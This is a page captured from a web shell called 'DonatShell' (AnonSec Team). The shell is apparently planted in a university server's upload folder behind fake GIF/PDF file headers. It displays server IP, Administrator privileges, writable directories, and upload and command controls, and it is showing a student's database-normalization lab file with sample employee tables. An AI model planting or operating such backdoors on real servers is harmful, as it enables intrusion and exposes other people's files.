GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20253/CST1600/41/16562071/Lab08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20253/CST1600/41/16562071/Lab08/JessicaMcClay-Lab08.txt
UNF:
employeework (employeeId*, name, SSN, projectWork, spouseName, spouseSSN, spouseIsInsured)

1NF:employeeinfo(employeeID*, SSN, name)
Spouseinfo (spouseName, spouseSSN, spouseisinsured, employeeID)
Work (projectwork)

2NF: employeeinfo (employeeID*, firstname, lastname, SSN)
SpouseInfo (spousename,spouseisinsured, spousessn, employeeID@)
Work (projectname, workcodes,hoursworked)

Notes: broke down Work into three different fields, covering the projectname, workcodes and hours worked.) added firstname and lastname field to employeeinfo

3NF: employeeinfo (employeeID*, firstname, lastname, SSN)
SpouseInfo (spousename, spouseinsured, spouseSSN, employeeID@)
WorkInfo (workdesc, workID*,)
employeework (employeeID*@, workID*@, hoursworked) 
TimeCard (hoursworked, Week*, employeeID*@)

notes: created employeework. Changed work into workinfo and broke those down to try and avoid repetition. workdesc listing projects. added time card but that would use weeks instead of the dates like in employeework.

All data rows:
Employeeinfo (firstname, lastname, employeeID*,  SSN)
              Avram,     Hinton,   1,           123456789
              Xerxes,    Hayes,    2,           345678901
              Kristen,   Acosta,   3,           456789012
              Harper,    Mcmahon,  4,           567890123

SpouseInfo (Spousename, Spouseinsured, spouseSSN, employeeID*@)
            Lucy Merrit,  No,          234567890      1,
            Kylee Acosta, Yes,         567890123      3,
  

WorkInfo (workdesc,                 WorkID*,)
          Dining Room Table,         TBL0944,
          Dining Room Table Chairs,  CHR0944,
          Kitchen Counters,          KIT0944, 
employeework (employeeID*@, workID*@, hoursworked,  dates,)
                  1          TBL0944,      6        2023-02-06
                  1          TBL0944,      6        2023-02-07
                  1          CHR0944,      8        2023-02-05
                  2          KIT0944,      8        2023-02-05
                  2          KIT0944,      8        2023-02-06
                  2          TBL0944,      4        2023-02-07
                  3          KIT0944,      8        2023-02-05
                  4          CHR0944,      4        2023-02-05
                  4          KIT0944,      4        2023-02-05
                  4          KIT0944,      8        2023-02-06
Timecard ( employeeID*@,  hoursworked,  week,)
             1               20          5-6   
             2               20          5-6
             3               8           5
             4              16          5-6

Anon7 - 2022
AnonSec Team